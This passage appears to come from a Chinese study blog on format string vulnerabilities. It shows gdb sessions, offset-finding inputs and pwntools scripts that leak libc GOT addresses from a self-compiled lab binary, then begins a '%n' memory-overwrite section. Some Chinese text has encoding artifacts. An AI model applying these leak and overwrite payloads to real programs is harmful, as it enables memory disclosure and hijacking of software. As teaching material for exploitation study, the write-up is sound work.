devil@ubuntu:~$ ./leakmemory %3$s 00000001.22222222.ffffffff.%3$s Segmentation fault (core dumped)小技巧總結(jié)
泄露任意地址內(nèi)存
可以看出,在上面無(wú)論是泄露棧上連續(xù)的變量,還是說(shuō)泄露指定的變量值,我們都沒(méi)能完全控制我們所要泄露的變量的地址。這樣的泄露固然有用,可是卻不夠強(qiáng)力有效。有時(shí)候,我們可能會(huì)想要泄露某一個(gè) libc 函數(shù)的 got 表內(nèi)容,從而得到其地址,進(jìn)而獲取 libc 版本以及其他函數(shù)的地址,這時(shí)候,能夠完全控制泄露某個(gè)指定地址的內(nèi)存就顯得很重要了。那么我們究竟能不能這樣做呢?自然也是可以的啦。
我們?cè)僮屑?xì)回想一下,一般來(lái)說(shuō),在格式化字符串漏洞中,我們所讀取的格式化字符串在棧上的(因?yàn)槭悄硞€(gè)函數(shù)的局部變量,本例中s是main函數(shù)的局部變量)。那么也就是說(shuō),在調(diào)用輸出函數(shù)的時(shí)候,其實(shí),**第一個(gè)參數(shù)的值其實(shí)就是該格式化字符串的地址。**我們選擇上面的某個(gè)函數(shù)調(diào)用為例
Breakpoint 1, __printf (format=0xffffd008 "%s") at printf.c:28 28 in printf.c [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────── registers ──── $eax : 0xffffd008 → 0x00007325 ("%s"?) $ebx : 0x0 $ecx : 0x7fffffe2 $edx : 0xf7fb7870 → 0x00000000 $esp : 0xffffcfdc → 0x0804852c → <main+113> add esp, 0x10 $ebp : 0xffffd078 → 0x00000000 $esi : 0xf7fb6000 → 0x001b1db0 $edi : 0xf7fb6000 → 0x001b1db0 $eip : 0xf7e4d670 → <printf+0> call 0xf7f23b59 <__x86.get_pc_thunk.ax> $eflags: [carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ───────────────────────────────────────────────────────────────────── stack ──── 0xffffcfdc│+0x0000: 0x0804852c → <main+113> add esp, 0x10 ← $esp 0xffffcfe0│+0x0004: 0xffffd008 → 0x00007325 ("%s"?) 0xffffcfe4│+0x0008: 0xffffd008 → 0x00007325 ("%s"?) 0xffffcfe8│+0x000c: 0xf7ffd918 → 0x00000000 0xffffcfec│+0x0010: 0x00f0b5ff 0xffffcff0│+0x0014: 0xffffd02e → 0xffff0000 → 0x00000000 0xffffcff4│+0x0018: 0x00000001 0xffffcff8│+0x001c: 0x000000c2可以看出在棧上的第二個(gè)變量就是我們的格式化字符串地址0xffffd008,同時(shí)該地址存儲(chǔ)的也確實(shí)是"%s"格式化字符串內(nèi)容。
那么由于我們可以控制該格式化字符串,如果我們知道該格式化字符串在輸出函數(shù)調(diào)用時(shí)是第幾個(gè)參數(shù),這里假設(shè)該格式化字符串相對(duì)函數(shù)調(diào)用為第 k 個(gè)參數(shù)。那我們就可以通過(guò)如下的方式來(lái)獲取某個(gè)指定地址 addr 的內(nèi)容。
addr%k$s注:在這里,如果格式化字符串在棧上,那么我們就一定能確定格式化字符串的相對(duì)偏移,這是因?yàn)樵诤瘮?shù)調(diào)用的時(shí)候棧指針至少地域格式化字符串地址8字節(jié)或者16字節(jié)。
下面就是如何確定該格式化字符串為第幾個(gè)參數(shù)的問(wèn)題了,我們可以通過(guò)如下方式確定
[tag]%p%p%p%p...一般來(lái)說(shuō),我們會(huì)重復(fù)某個(gè)字符的機(jī)器字長(zhǎng)來(lái)作為tag,而后面會(huì)跟上若干個(gè)%p來(lái)輸出棧上的內(nèi)容,如果內(nèi)容與我們前面的tag重復(fù)了,那么我們就可以有很大把握說(shuō)明該地址就是格式化字符串的地址,之所以說(shuō)是有很大把握,這是因?yàn)椴慌懦龡I嫌幸恍┡R時(shí)變量也是該數(shù)值。一般情況下,極其少見(jiàn),我們也可以更換其它字符進(jìn)行嘗試,進(jìn)行再次確認(rèn)。這里我們利用字符’A’作為特定字符,同時(shí)還是利用之前編譯好的程序,如下
devil@ubuntu:~$ ./leakmemory AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p 00000001.22222222.ffffffff.AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p AAAA0xff9e92880xf7f959180xf0b5ff0xff9e92ae0x10xc20x10x222222220xffffffff0x414141410x702570250x702570250x702570250x702570250x70257025這里0x414141處所在的位置可以看出我們的格式化字符串的起始地址正好是輸出函數(shù)的第11個(gè)參數(shù),也是格式化字符串的第10個(gè)參數(shù)。(此處和CTF-Wiki上有出入)我們可以來(lái)測(cè)試一下
devil@ubuntu:~$ ./leakmemory %10$s 00000001.22222222.ffffffff.%10$s Segmentation fault (core dumped)可以看出,我們的程序崩潰了,為什么呢?這是因?yàn)槲覀冊(cè)噲D將該格式化字符串所對(duì)應(yīng)的值作為地址進(jìn)行解析,但是顯然該值沒(méi)有辦法作為一個(gè)合法的地址被解析,所以程序就崩潰了。具體的可以參考下面的調(diào)試。
devil@ubuntu:~$ gdb leakmemory gef? r Starting program: /home/devil/leakmemory %10$s 00000001.22222222.ffffffff.%10$sProgram received signal SIGSEGV, Segmentation fault. __strlen_ia32 () at ../sysdeps/i386/i686/multiarch/../../i586/strlen.S:51 51 ../sysdeps/i386/i686/multiarch/../../i586/strlen.S: No such file or directory. [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────── registers ──── $eax : 0x24303125 ("%10$"?) $ebx : 0x0 $ecx : 0xf7fb6000 → 0x001b1db0 $edx : 0x1 $esp : 0xffffc4ec → 0xf7e45977 → <printf_positional+7575> add esp, 0x10 $ebp : 0xffffca98 → 0xffffcfb8 → 0xffffd078 → 0x00000000 $esi : 0xffffc680 → 0xffffffff $edi : 0xf7fb6d60 → 0xfbad2a84 $eip : 0xf7e795cf → <__strlen_ia32+15> cmp BYTE PTR [eax], dh $eflags: [carry parity adjust zero sign trap INTERRUPT direction overflow RESUME virtualx86 identification] $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ───────────────────────────────────────────────────────────────────── stack ──── 0xffffc4ec│+0x0000: 0xf7e45977 → <printf_positional+7575> add esp, 0x10 ← $esp 0xffffc4f0│+0x0004: "%10$" 0xffffc4f4│+0x0008: 0x00000000 0xffffc4f8│+0x000c: 0x00000028 ("("?) 0xffffc4fc│+0x0010: 0x00000000 0xffffc500│+0x0014: 0xffffd008 → "%10$s" 0xffffc504│+0x0018: 0x00000000 0xffffc508│+0x001c: 0x00000000 ─────────────────────────────────────────────────────────────── code:x86:32 ────0xf7e795c8 <__strlen_ia32+8> add BYTE PTR [ecx], ah0xf7e795ca <__strlen_ia32+10> ret 0x24740xf7e795cd <__strlen_ia32+13> jp 0xf7e795e6 <__strlen_ia32+38>→ 0xf7e795cf <__strlen_ia32+15> cmp BYTE PTR [eax], dh0xf7e795d1 <__strlen_ia32+17> je 0xf7e79676 <__strlen_ia32+182>0xf7e795d7 <__strlen_ia32+23> inc eax0xf7e795d8 <__strlen_ia32+24> cmp BYTE PTR [eax], dh0xf7e795da <__strlen_ia32+26> je 0xf7e79676 <__strlen_ia32+182>0xf7e795e0 <__strlen_ia32+32> inc eax ─────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "leakmemory", stopped 0xf7e795cf in __strlen_ia32 (), reason: SIGSEGV ───────────────────────────────────────────────────────────────────── trace ──── [#0] 0xf7e795cf → __strlen_ia32() [#1] 0xf7e45977 → printf_positional(s=0xf7fb6d60 <_IO_2_1_stdout_>, format=0xffffd008 "%10$s", readonly_format=0x0, ap=<optimized out>, ap_savep=0xffffcb7c, done=0x0, nspecs_done=0x0, lead_str_end=0xffffd008 "%10$s", work_buffer=0xffffcbb8 "@\001", save_errno=0x0, grouping=0x0, thousands_sep=0xf7f5f7d2 "") [#2] 0xf7e46401 → _IO_vfprintf_internal(s=0xf7fb6d60 <_IO_2_1_stdout_>, format=<optimized out>, ap=0xffffcfe4 "\b\320\377\377\030\331\377\367\377\265", <incomplete sequence \360>) [#3] 0xf7e4d696 → __printf(format=0xffffd008 "%10$s") [#4] 0x804852c → main()gef? help x/ Examine memory: x/FMT ADDRESS. ADDRESS is an expression for the memory address to examine. FMT is a repeat count followed by a format letter and a size letter. Format letters are o(octal), x(hex), d(decimal), u(unsigned decimal),t(binary), f(float), a(address), i(instruction), c(char), s(string)and z(hex, zero padded on the left). Size letters are b(byte), h(halfword), w(word), g(giant, 8 bytes). The specified number of objects of the specified size are printed according to the format.Defaults for format and size letters are those previously used. Default count is 1. Default address is following last thing printed with this command or "print". gef? x/x 0xffffd008 0xffffd008: 0x24303125gef? vmmap [ Legend: Code | Heap | Stack ] Start End Offset Perm Path 0x08048000 0x08049000 0x00000000 r-x /home/devil/leakmemory 0x08049000 0x0804a000 0x00000000 r-- /home/devil/leakmemory 0x0804a000 0x0804b000 0x00001000 rw- /home/devil/leakmemory 0x0804b000 0x0806c000 0x00000000 rw- [heap] 0xf7e03000 0xf7e04000 0x00000000 rw- 0xf7e04000 0xf7fb4000 0x00000000 r-x /lib/i386-linux-gnu/libc-2.23.so 0xf7fb4000 0xf7fb6000 0x001af000 r-- /lib/i386-linux-gnu/libc-2.23.so 0xf7fb6000 0xf7fb7000 0x001b1000 rw- /lib/i386-linux-gnu/libc-2.23.so 0xf7fb7000 0xf7fba000 0x00000000 rw- 0xf7fd3000 0xf7fd4000 0x00000000 rw- 0xf7fd4000 0xf7fd7000 0x00000000 r-- [vvar] 0xf7fd7000 0xf7fd9000 0x00000000 r-x [vdso] 0xf7fd9000 0xf7ffc000 0x00000000 r-x /lib/i386-linux-gnu/ld-2.23.so 0xf7ffc000 0xf7ffd000 0x00022000 r-- /lib/i386-linux-gnu/ld-2.23.so 0xf7ffd000 0xf7ffe000 0x00023000 rw- /lib/i386-linux-gnu/ld-2.23.so 0xfffdd000 0xffffe000 0x00000000 rw- [stack]gef? x/x 0x24303125 0x24303125: Cannot access memory at address 0x24303125顯然0xffffd008處所對(duì)應(yīng)的格式化字符串所對(duì)應(yīng)的變量值0x24303125并不能夠被該程序訪問(wèn),所以程序自然就崩潰了。
那么如果我們?cè)O(shè)置一個(gè)可以訪問(wèn)的地址呢?比如說(shuō)scanf@got,結(jié)果會(huì)怎么樣呢?應(yīng)該自然是輸出scanf對(duì)應(yīng)的地址了。我們不妨來(lái)試一下。
首先,獲取scanf@got的地址,如下
gef? got/home/devil/leakmemory: file format elf32-i386DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 08049ffc R_386_GLOB_DAT __gmon_start__ 0804a00c R_386_JUMP_SLOT printf@GLIBC_2.0 0804a010 R_386_JUMP_SLOT __stack_chk_fail@GLIBC_2.4 0804a014 R_386_JUMP_SLOT __libc_start_main@GLIBC_2.0 0804a018 R_386_JUMP_SLOT __isoc99_scanf@GLIBC_2.7下面我們利用pwntools構(gòu)造payload如下
from pwn import * sh = process('./leakmemory') elf = ELF('./leakmemory') __isoc99_scanf_got = elf.got['__isoc99_scanf'] print(hex(__isoc99_scanf_got)) payload = p32(__isoc99_scanf_got)+'%10$s' print(payload) gdb.attach(sh) sh.sendline(payload) sh.recvuntil('%10$s\n') print(hex(u32(sh.recv()[4:8]))) #remove the first bytes of __isoc99_scanf@got sh.interactive()其實(shí),我們使用gdb.attach(sh)來(lái)進(jìn)行調(diào)試。當(dāng)我們運(yùn)行到第二個(gè)printf函數(shù)的時(shí)候(要在調(diào)試窗口用 "b printf"命令給printf函數(shù)下斷點(diǎn)),可以看到我們的第四個(gè)參數(shù)(stack上第一個(gè)地址是返回地址,第二個(gè)是格式化字符串地址,之后依次為第一…四個(gè)參數(shù))確實(shí)指向我們的scanf的地址,這里輸出
gef? c Continuing.Breakpoint 1, __printf (format=0x80485d3 "%08x.%08x.%08x.%s\n") at printf.c:28 28 printf.c: No such file or directory. [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────── registers ──── $eax : 0xff8ccbd8 → 0x0804a018 → 0xf7dc60c0 → <__isoc99_scanf+0> push ebp $ebx : 0x0 $ecx : 0x1 $edx : 0xf7f1d87c → 0x00000000 $esp : 0xff8ccb9c → 0x0804851d → <main+98> add esp, 0x20 $ebp : 0xff8ccc48 → 0x00000000 $esi : 0xf7f1c000 → 0x001b1db0 $edi : 0xf7f1c000 → 0x001b1db0 $eip : 0xf7db3670 → <printf+0> call 0xf7e89b59 <__x86.get_pc_thunk.ax> $eflags: [carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ───────────────────────────────────────────────────────────────────── stack ──── 0xff8ccb9c│+0x0000: 0x0804851d → <main+98> add esp, 0x20 ← $esp 0xff8ccba0│+0x0004: 0x080485d3 → "%08x.%08x.%08x.%s\n" 0xff8ccba4│+0x0008: 0x00000001 0xff8ccba8│+0x000c: 0x22222222 0xff8ccbac│+0x0010: 0xffffffff 0xff8ccbb0│+0x0014: 0xff8ccbd8 → 0x0804a018 → 0xf7dc60c0 → <__isoc99_scanf+0> push ebp 0xff8ccbb4│+0x0018: 0xff8ccbd8 → 0x0804a018 → 0xf7dc60c0 → <__isoc99_scanf+0> push ebp 0xff8ccbb8│+0x001c: 0xf7f63918 → 0x00000000 ─────────────────────────────────────────────────────────────── code:x86:32 ────0xf7db3667 <fprintf+23> inc DWORD PTR [ebx+0x66c31cc4]0xf7db366d nop 0xf7db366e xchg ax, ax→ 0xf7db3670 <printf+0> call 0xf7e89b59 <__x86.get_pc_thunk.ax>? 0xf7e89b59 <__x86.get_pc_thunk.ax+0> mov eax, DWORD PTR [esp]0xf7e89b5c <__x86.get_pc_thunk.ax+3> ret 0xf7e89b5d <__x86.get_pc_thunk.dx+0> mov edx, DWORD PTR [esp]0xf7e89b60 <__x86.get_pc_thunk.dx+3> ret 0xf7e89b61 <__x86.get_pc_thunk.si+0> mov esi, DWORD PTR [esp]0xf7e89b64 <__x86.get_pc_thunk.si+3> ret ─────────────────────────────────────────────────────── arguments (guessed) ──── __x86.get_pc_thunk.ax ( ) ─────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "leakmemory", stopped 0xf7db3670 in __printf (), reason: BREAKPOINT ───────────────────────────────────────────────────────────────────── trace ──── [#0] 0xf7db3670 → __printf(format=0x80485d3 "%08x.%08x.%08x.%s\n") [#1] 0x804851d → main()同時(shí),在我們運(yùn)行的terminal下
devil@ubuntu:~$ python exp.py [+] Starting local process './leakmemory': pid 2673 [*] '/home/devil/leakmemory'Arch: i386-32-littleRELRO: Partial RELROStack: Canary foundNX: NX enabledPIE: No PIE (0x8048000) 0x804a018 \x18\x04%10$s [*] running in new terminal: /usr/bin/gdb -q "./leakmemory" 2673 -x "/tmp/pwnqnvV9v.gdb" [+] Waiting for debugger: Done 0xf7dc60c0 [*] Switching to interactive mode [*] Process './leakmemory' stopped with exit code 0 (pid 2673) [*] Got EOF while reading in interactive $我們確實(shí)得到了scanf的地址。
Wiki上這里是用scanf舉例說(shuō)明的,并且表示之所以沒(méi)有使用printf函數(shù),是因?yàn)閜rintf函數(shù)會(huì)對(duì)0a,0b,0c,00等字符有一些奇怪的處理,導(dǎo)致無(wú)法正常讀入。
所以我就嘗試了一下泄露printf函數(shù)的地址。
構(gòu)造payload如下
from pwn import * sh = process('./leakmemory') elf = ELF('./leakmemory') printf_got = elf.got['printf'] print(hex(printf_got)) payload = p32(printf_got)+'%10$s' print(payload) gdb.attach(sh) sh.sendline(payload) sh.recvuntil('%10$s\n') print(hex(u32(sh.recv()[4:8]))) sh.interactive()terminal運(yùn)行結(jié)果如下
devil@ubuntu:~$ python exp.py [+] Starting local process './leakmemory': pid 2747 [*] '/home/devil/leakmemory'Arch: i386-32-littleRELRO: Partial RELROStack: Canary foundNX: NX enabledPIE: No PIE (0x8048000) 0x804a00c \x0c\x04%10$s [*] running in new terminal: /usr/bin/gdb -q "./leakmemory" 2747 -x "/tmp/pwn71yrFD.gdb" [+] Waiting for debugger: Done Traceback (most recent call last):File "exp.py", line 11, in <module>print(hex(u32(sh.recv()[4:8])))File "/usr/local/lib/python2.7/dist-packages/pwnlib/tubes/tube.py", line 82, in recvreturn self._recv(numb, timeout) or b''File "/usr/local/lib/python2.7/dist-packages/pwnlib/tubes/tube.py", line 160, in _recvif not self.buffer and not self._fillbuffer(timeout):File "/usr/local/lib/python2.7/dist-packages/pwnlib/tubes/tube.py", line 131, in _fillbufferdata = self.recv_raw(self.buffer.get_fill_size())File "/usr/local/lib/python2.7/dist-packages/pwnlib/tubes/process.py", line 707, in recv_rawraise EOFError EOFError [*] Process './leakmemory' stopped with exit code -11 (SIGSEGV) (pid 2747)棧上的值如下
gef? c Continuing.Breakpoint 1, __printf (format=0x80485d3 "%08x.%08x.%08x.%s\n") at printf.c:28 28 printf.c: No such file or directory. [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────── registers ──── $eax : 0xffc82d58 → 0x250804a0 $ebx : 0x0 $ecx : 0x1 $edx : 0xf7eca87c → 0x00000000 $esp : 0xffc82d1c → 0x0804851d → <main+98> add esp, 0x20 $ebp : 0xffc82dc8 → 0x00000000 $esi : 0xf7ec9000 → 0x001b1db0 $edi : 0xf7ec9000 → 0x001b1db0 $eip : 0xf7d60670 → <printf+0> call 0xf7e36b59 <__x86.get_pc_thunk.ax> $eflags: [carry parity ADJUST zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ───────────────────────────────────────────────────────────────────── stack ──── 0xffc82d1c│+0x0000: 0x0804851d → <main+98> add esp, 0x20 ← $esp 0xffc82d20│+0x0004: 0x080485d3 → "%08x.%08x.%08x.%s\n" 0xffc82d24│+0x0008: 0x00000001 0xffc82d28│+0x000c: 0x22222222 0xffc82d2c│+0x0010: 0xffffffff 0xffc82d30│+0x0014: 0xffc82d58 → 0x250804a0 0xffc82d34│+0x0018: 0xffc82d58 → 0x250804a0 0xffc82d38│+0x001c: 0xf7f10918 → 0x00000000 ─────────────────────────────────────────────────────────────── code:x86:32 ────0xf7d60667 <fprintf+23> inc DWORD PTR [ebx+0x66c31cc4]0xf7d6066d nop 0xf7d6066e xchg ax, ax→ 0xf7d60670 <printf+0> call 0xf7e36b59 <__x86.get_pc_thunk.ax>? 0xf7e36b59 <__x86.get_pc_thunk.ax+0> mov eax, DWORD PTR [esp]0xf7e36b5c <__x86.get_pc_thunk.ax+3> ret 0xf7e36b5d <__x86.get_pc_thunk.dx+0> mov edx, DWORD PTR [esp]0xf7e36b60 <__x86.get_pc_thunk.dx+3> ret 0xf7e36b61 <__x86.get_pc_thunk.si+0> mov esi, DWORD PTR [esp]0xf7e36b64 <__x86.get_pc_thunk.si+3> ret ─────────────────────────────────────────────────────── arguments (guessed) ──── __x86.get_pc_thunk.ax ( ) ─────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "leakmemory", stopped 0xf7d60670 in __printf (), reason: BREAKPOINT ───────────────────────────────────────────────────────────────────── trace ──── [#0] 0xf7d60670 → __printf(format=0x80485d3 "%08x.%08x.%08x.%s\n") [#1] 0x804851d → main()可見(jiàn)程序并沒(méi)有如同預(yù)期一樣輸出printf的地址。
有時(shí)候,我們需要對(duì)我們輸入的格式化字符串進(jìn)行填充,來(lái)使得我們想要打印的地址內(nèi)容位于機(jī)器字長(zhǎng)整數(shù)倍的地址處,一般來(lái)說(shuō),類(lèi)似于下面的這個(gè)樣子。
[padding][addr]注意
我們?cè)趃ef中使用got命令的時(shí)候,已經(jīng)打印出了printf的got地址
0804a00c R_386_JUMP_SLOT printf@GLIBC_2.0
但是我們不能直接在命令行輸入\x0c\xa0\x04\x08%4$s 這是因?yàn)殡m然前面的確實(shí)是printf@got的地址,但是,scanf函數(shù)并不會(huì)將其識(shí)別為對(duì)應(yīng)的字符串,而是會(huì)將,x,0,c分別作為一個(gè)字符進(jìn)行讀入。下面就是錯(cuò)誤的例子。
gef? r Starting program: /home/devil/leakmemory \\x0c\\xa0\\x04\\x08%10$s 00000001.22222222.ffffffff.\\x0c\\xa0\\x04\\x08%10$sProgram received signal SIGSEGV, Segmentation fault. __strlen_ia32 () at ../sysdeps/i386/i686/multiarch/../../i586/strlen.S:94 94 ../sysdeps/i386/i686/multiarch/../../i586/strlen.S: No such file or directory. [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────── registers ──── $eax : 0x30785c5c ("\\x0"?) $ebx : 0x0 $ecx : 0xf7fb6000 → 0x001b1db0 $edx : 0x0 $esp : 0xffffc4ec → 0xf7e45977 → <printf_positional+7575> add esp, 0x10 $ebp : 0xffffca98 → 0xffffcfb8 → 0xffffd078 → 0x00000000 $esi : 0xffffc680 → 0xffffffff $edi : 0xf7fb6d60 → 0xfbad2a84 $eip : 0xf7e795f1 → <__strlen_ia32+49> mov ecx, DWORD PTR [eax] $eflags: [carry PARITY adjust ZERO sign trap INTERRUPT direction overflow RESUME virtualx86 identification] $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ───────────────────────────────────────────────────────────────────── stack ──── 0xffffc4ec│+0x0000: 0xf7e45977 → <printf_positional+7575> add esp, 0x10 ← $esp 0xffffc4f0│+0x0004: 0x30785c5c ("\x0"?) 0xffffc4f4│+0x0008: 0x00000000 0xffffc4f8│+0x000c: 0x00000028 ("("?) 0xffffc4fc│+0x0010: 0x00000000 0xffffc500│+0x0014: 0xffffd008 → "\x0c\xa0\x04\x08%10$s" 0xffffc504│+0x0018: 0x00000000 0xffffc508│+0x001c: 0x00000000 ─────────────────────────────────────────────────────────────── code:x86:32 ────0xf7e795e7 <__strlen_ia32+39> xor BYTE PTR [edi], cl0xf7e795e9 <__strlen_ia32+41> test BYTE PTR [eax+0x40000000], cl0xf7e795ef <__strlen_ia32+47> xor edx, edx→ 0xf7e795f1 <__strlen_ia32+49> mov ecx, DWORD PTR [eax]0xf7e795f3 <__strlen_ia32+51> add eax, 0x40xf7e795f6 <__strlen_ia32+54> sub edx, ecx0xf7e795f8 <__strlen_ia32+56> add ecx, 0xfefefeff0xf7e795fe <__strlen_ia32+62> dec edx0xf7e795ff <__strlen_ia32+63> jae 0xf7e79659 <__strlen_ia32+153> ─────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "leakmemory", stopped 0xf7e795f1 in __strlen_ia32 (), reason: SIGSEGV ───────────────────────────────────────────────────────────────────── trace ──── [#0] 0xf7e795f1 → __strlen_ia32() [#1] 0xf7e45977 → printf_positional(s=0xf7fb6d60 <_IO_2_1_stdout_>, format=0xffffd008 "\\\\x0c\\\\xa0\\\\x04\\\\x08%10$s", readonly_format=0x0, ap=<optimized out>, ap_savep=0xffffcb7c, done=0x14, nspecs_done=0x0, lead_str_end=0xffffd01c "%10$s", work_buffer=0xffffcbb8 "@\001", save_errno=0x0, grouping=0x0, thousands_sep=0xf7f5f7d2 "") [#2] 0xf7e46401 → _IO_vfprintf_internal(s=0xf7fb6d60 <_IO_2_1_stdout_>, format=<optimized out>, ap=0xffffcfe4 "\b\320\377\377\030\331\377\367\377\265", <incomplete sequence \360>) [#3] 0xf7e4d696 → __printf(format=0xffffd008 "\\\\x0c\\\\xa0\\\\x04\\\\x08%10$s") [#4] 0x804852c → main() ──────────────────────────────────────────────────────────────────────────────── gef? x/x 0xffffd008 0xffffd008: 0x30785c5c覆蓋內(nèi)存
上面,我們已經(jīng)展示了如何利用格式化字符串來(lái)泄露棧內(nèi)存以及任意地址內(nèi)存,那么我們有沒(méi)有可能修改棧上變量的值呢,甚至修改任意地址變量的內(nèi)存呢? 答案是可行的,只要變量對(duì)應(yīng)的地址可寫(xiě),我們就可以利用格式化字符串來(lái)修改其對(duì)應(yīng)的數(shù)值。這里我們可以想一下格式化字符串中的類(lèi)型
%n,不輸出字符,但是把已經(jīng)成功輸出的字符個(gè)數(shù)寫(xiě)入對(duì)應(yīng)的整型指針參數(shù)所指的變量。
通過(guò)這個(gè)類(lèi)型參數(shù),再加上一些小技巧,我們就可以達(dá)到我們的目的,這里仍然分為兩部分,一部分為覆蓋棧上的變量,第二部分為覆蓋指定地址的變量。
這里我們給出如下的程序來(lái)介紹相應(yīng)的部分。
#include <stdio.h> int a = 123, b = 456; int main() {int c = 789;char s[100];scanf("%s", s); #scanf()函數(shù)要放在printf()前面,確保第一次在printf中斷時(shí),程序已經(jīng)讀入格式化字符串printf("%p\n", &c);printf(s);if (c == 16) {puts("modified c.");} else if (a == 2) {puts("modified a for a small number.");} else if (b == 0x12345678) {puts("modified b for a big number!");}return 0; }這里和wiki上有點(diǎn)區(qū)別,就在于第一個(gè)scanf("%s",s)和printf("%p\n",&c)的順序。wiki上是printf在前,但是我按照他那樣編譯調(diào)試的時(shí)候stack中不能同時(shí)顯示c的地址和格式化字符串的地址,所以我換了一下位置進(jìn)行編譯調(diào)試。但在后面修改c的值的時(shí)候,用此腳本編譯出來(lái)的程序在接收c地址的時(shí)候出了點(diǎn)問(wèn)題。
編譯成32位程序
devil@ubuntu:~$ gcc -m32 -fno-stack-protector -no-pie -o overflow overflow.c overflow.c: In function ‘main’: overflow.c:9:10: warning: format not a string literal and no format arguments [-Wformat-security]printf(s);^無(wú)論是覆蓋哪個(gè)地址的變量,我們基本上都是構(gòu)造類(lèi)似如下的payload
...[overwrite addr]....%[overwrite offset]$n其中…表示我們的填充內(nèi)容,overwrite addr表示我們所要覆蓋的地址,overwrite offset地址表示我們所要覆蓋的地址存儲(chǔ)的位置為輸出函數(shù)的格式化字符串的第幾個(gè)參數(shù)。所以一般來(lái)說(shuō),也是如下步驟
- 確定覆蓋地址
- 確定相對(duì)偏移
- 進(jìn)行覆蓋
覆蓋棧內(nèi)存
確定覆蓋地址
首先,我們自然是來(lái)想辦法知道棧變量 c 的地址。由于目前幾乎上所有的程序都開(kāi)啟了 aslr 保護(hù),所以棧的地址一直在變,所以我們這里故意輸出了 c 變量的地址。
確定相對(duì)偏移
其次,我們來(lái)確定一下存儲(chǔ)格式化字符串的地址是printf將要輸出的第幾個(gè)參數(shù)()。這里我們通過(guò)之前的泄露棧變量數(shù)值的方法來(lái)進(jìn)行操作。通過(guò)調(diào)試
devil@ubuntu:~$ gdb overflow gef? b printf Breakpoint 1 at 0x8048340 gef? r Starting program: /home/devil/overflow %d%dBreakpoint 1, __printf (format=0x80485c3 "%p\n") at printf.c:28 28 printf.c: No such file or directory. [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────── registers ──── $eax : 0xffffd06c → 0x00000315 $ebx : 0x0 $ecx : 0x1 $edx : 0xf7fb787c → 0x00000000 $esp : 0xffffcfec → 0x080484c8 → <main+61> add esp, 0x10 $ebp : 0xffffd078 → 0x00000000 $esi : 0xf7fb6000 → 0x001b1db0 $edi : 0xf7fb6000 → 0x001b1db0 $eip : 0xf7e4d670 → <printf+0> call 0xf7f23b59 <__x86.get_pc_thunk.ax> $eflags: [carry parity ADJUST zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ───────────────────────────────────────────────────────────────────── stack ──── 0xffffcfec│+0x0000: 0x080484c8 → <main+61> add esp, 0x10 ← $esp 0xffffcff0│+0x0004: 0x080485c3 → "%p\n" 0xffffcff4│+0x0008: 0xffffd06c → 0x00000315 0xffffcff8│+0x000c: 0x000000c2 0xffffcffc│+0x0010: 0xf7e946bb → <handle_intel+107> add esp, 0x10 0xffffd000│+0x0014: 0xffffd02e → 0xffff0000 → 0x00000000 0xffffd004│+0x0018: 0xffffd12c → 0xffffd30a → "XDG_VTNR=7" 0xffffd008│+0x001c: "%d%d" ─────────────────────────────────────────────────────────────── code:x86:32 ────0xf7e4d667 <fprintf+23> inc DWORD PTR [ebx+0x66c31cc4]0xf7e4d66d nop 0xf7e4d66e xchg ax, ax→ 0xf7e4d670 <printf+0> call 0xf7f23b59 <__x86.get_pc_thunk.ax>? 0xf7f23b59 <__x86.get_pc_thunk.ax+0> mov eax, DWORD PTR [esp]0xf7f23b5c <__x86.get_pc_thunk.ax+3> ret 0xf7f23b5d <__x86.get_pc_thunk.dx+0> mov edx, DWORD PTR [esp]0xf7f23b60 <__x86.get_pc_thunk.dx+3> ret 0xf7f23b61 <__x86.get_pc_thunk.si+0> mov esi, DWORD PTR [esp]0xf7f23b64 <__x86.get_pc_thunk.si+3> ret ─────────────────────────────────────────────────────── arguments (guessed) ──── __x86.get_pc_thunk.ax ( ) ─────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "overflow", stopped 0xf7e4d670 in __printf (), reason: BREAKPOINT ───────────────────────────────────────────────────────────────────── trace ──── [#0] 0xf7e4d670 → __printf(format=0x80485c3 "%p\n") [#1] 0x80484c8 → main()可以發(fā)現(xiàn)在0xffffcff4處存儲(chǔ)著變量c的數(shù)值(789==0x315)。繼而,我們?cè)俅_定格式化字符串’%d%d’的地址0xffffd008相對(duì)于printf函數(shù)的格式化字符串參數(shù)0xffffcff0的偏移為0x18,即格式化字符串地址相當(dāng)于printf函數(shù)的第7個(gè)參數(shù)(0xffffcfec是printf函數(shù)的返回地址),相當(dāng)于格式化字符串的第6個(gè)參數(shù)。
進(jìn)行覆蓋
這樣,第 6 個(gè)參數(shù)處的值就是存儲(chǔ)變量 c 的地址,我們便可以利用 %n 的特征來(lái)修改 c 的值。payload 如下
